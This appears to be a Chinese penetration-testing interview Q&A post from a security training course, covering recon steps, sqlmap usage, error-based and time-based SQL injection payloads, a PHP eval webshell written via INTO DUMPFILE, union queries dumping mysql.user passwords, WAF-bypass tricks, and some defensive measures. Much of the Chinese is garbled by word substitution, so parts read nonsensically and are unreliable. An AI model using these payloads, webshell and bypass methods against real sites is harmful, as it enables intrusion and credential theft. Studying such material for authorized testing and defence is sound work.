给你一个网站你是怎样 来渗出 测试的?
在获取书面授权的条件 下。
1
信息网络
1)获取域名的whois信息,获取注册者邮箱姓名电话等 。
2)查询服务器旁站以及子域名站点 ,由于 主站一样平常 比力 难,以是 先看看旁站有没有通用性的cms大概 其他弊端 。
3)查察 服务器操纵 体系 版本,web中心 件 ,看看是否存在已知的弊端 ,比如 IIS,APACHE,NGINX的分析 弊端
4)查察 IP ,举行 IP地点 端口扫描,对相应 的端口举行 弊端 探测,比如 rsync,心脏出血 ,mysql,ftp,ssh弱口令等。
5)扫描网站目次 布局 ,看看是否可以遍历目次 ,大概 敏感文件走漏 ,比如 php探针
6)google hack 进一步探测网站的信息 ,背景 ,敏感文件
2
弊端 扫描
开始检测弊端 ,如XSS,XSRF,sql注入 ,代码实行 ,下令 实行 ,越权访问 ,目次 读取,恣意 文件读取,下载 ,文件包罗 ,长途 下令 实行 ,弱口令 ,上传,编辑器弊端 ,暴力破解等
3
弊端 利用
利用 以上的方式拿到webshell,大概 其他权限
4
权限提拔
提权服务器 ,比如 windows下mysql的udf提权,serv-u提权,windows低版本的弊端 ,如iis6,pr,巴西烤肉,linux藏牛弊端 ,linux内核版本弊端 提权 ,linux下的mysql system提权以及oracle低权限提权
5
日记 整理
6
总结陈诉 及修复方案
sqlmap,怎么对一个注入点注入?
1.假如 是get型号,直接 ,sqlmap -u "诸如点网址".
2. 假如 是post型诸如点,可以sqlmap -u "注入点网址 ” --data="post的参数"
3.假如 是cookie,X-Forwarded-For等 ,可以访问的时间 ,用burpsuite抓包,注入处用*号更换 ,放到文件里 ,然后sqlmap -r "文件地点 "
sql注入的几种范例 ?
1.报错注入
2.bool型注入
3.延时注入
4.宽字节注入
报错注入的函数有哪些?
1.and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】----------------
2.通过floor报错 向下取整
3.+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()select * from test where id=1 and exp(~(select * from(select user())a));
延时注入怎样 来判定 ?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)盲注和延时注入的共同点?
都是一个字符一个字符的判定
怎样 拿一个网站的webshell?
上传,背景 编辑模板,sql注入写文件 ,下令 实行 ,代码实行 。
一些已经爆出的cms弊端 ,比如 dedecms背景 可以直接创建 脚本文件 ,wordpress上传插件包罗 脚本文件zip压缩包等
sql注入写文件都有哪些函数?
select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '?php eval($_POST[1]) ?' into dumpfile 'd:wwwrootbaidu.comnvhack.php';
怎样 防止CSRF?
1.验证referer
2.验证token
具体 :https://cnodejs.org/topic/5533dd6e9138f09b629674fd
owasp 弊端 都有哪些?
1.SQL注入防护方法:
2.失效的身份认证和会话管理
3.跨站脚本攻击XSS
4.直接引用不安全的对象
5.安全设置 错误
6.敏感信息泄漏
7.缺少功能级的访问控制
8.跨站哀求 伪造CSRF
9.利用 含有已知弊端 的组件
10.未验证的重定向和转发
SQL注入防护方法?
1.利用 安全的API
2.对输入的特别 字符举行 Escape转义处理 惩罚
3.利用 白名单来规范化输入验证方法
4.对客户端输入举行 控制,不答应 输入SQL注入相干 的特别 字符
5.服务器端在提交数据库举行 SQL查询之前,对特别 字符举行 过滤 、转义、更换 、删除。
代码实行 ,文件读取,下令 实行 的函数都有哪些?
1.代码实行 :eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2.文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3.下令 实行 :system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
img标签除了属性外,尚有 其他获取管理员路径的办法吗?
src指定一个长途 的脚本文件 ,获取referer
img标签除了属性外,而且 src属性的后缀名,必须以.jpg末了 ,怎么获取管理员路径。
1.长途 服务器修改apache设置 文件 ,设置 .jpg文件以php方式来分析
AddType application/x-httpd-php .jpg
img src= 会以php方式来分析
代码审计
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
下令 实行 :system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
绕过walf
1.关键字可以用%(只限IIS系列) 。比如 select,可以sel%e%ct。原理:网络层waf对SEL%E%CT举行 url解码后变成 SEL%E%CT,匹配select失败 ,而进入asp.dll对SEL%E%CT举行 url解码却变成 select。IIS下的asp.dll文件在对asp文件后参数串举行 url解码时,会直接过滤掉09-0d(09是tab键,0d是回车) 、20(空格)、%(后两个字符有一个不是十六进制)字符 。xss也是同理。
2.通杀的,内联解释 。安全狗不拦截 ,但是安全宝、加快 乐 、D盾等,看到/*!/就Fack了,以是 只限于安全狗。比如 :/*!select*/
3.编码 。这个方法对waf很有结果 ,由于 一样平常 waf会解码,但是我们利用 这个特点,举行 两次编码 ,他解了第一次但不会解第二次,就bypass了。腾讯waf、百度waf等等都可以如许 bypass的。
4.绕过战略 一:伪造搜刮 引擎
早些版本的安全狗是有这个弊端 的,就是把User-Agent修改为搜刮 引擎
5.360webscan脚本存在这个题目 ,就是判定 是否为admin dede install等目次 ,假如 是则不做拦截
1. GET /pen/news.php?id=1 union select user,password from mysql.user
1. GET /pen/news.php/admin?id=1 union select user,password from mysql.user
1. GET /pen/admin/..news.php?id=1 union select user,password from mysql.user
6.multipart哀求 绕过,在POST哀求 中添加一个上传文件,绕过了绝大多数WAF 。
7.参数绕过 ,复制参数,id=1id=1
用一些特别 字符代替 空格,比如 在mysql中%0a是换行 ,可以代替 空格,这个方法也可以部分 绕过最新版本的安全狗,在sqlserver中可以用/**/代替 空格
8.内联解释 ,
文件上传,复制文件包一份再加一份
在 form-data;背面 增长 肯定 的字符
宽字符注入
宽字符:
办理 方法:就是在初始化毗连 和字符集之后,利用 SET character_set_client=binary来设定客户端的字符集是二进制的。修改Windows下的MySQL设置 文件一样平常 是 my.ini ,Linux下的MySQL设置 文件一样平常 是my.cnf,比如 :mysql_query("SETcharacter_set_client=binary");。character_set_client指定的是SQL语句的编码,假如 设置为 binary,MySQL就以二进制来实行 ,如许 宽字节编码题目 就没有效 武之地了 。
未
完
待
续
(作者:夏至冰雪)
炼石信息安全培训春季班开招
QQ:495066536
372806985
敬请连续 关注……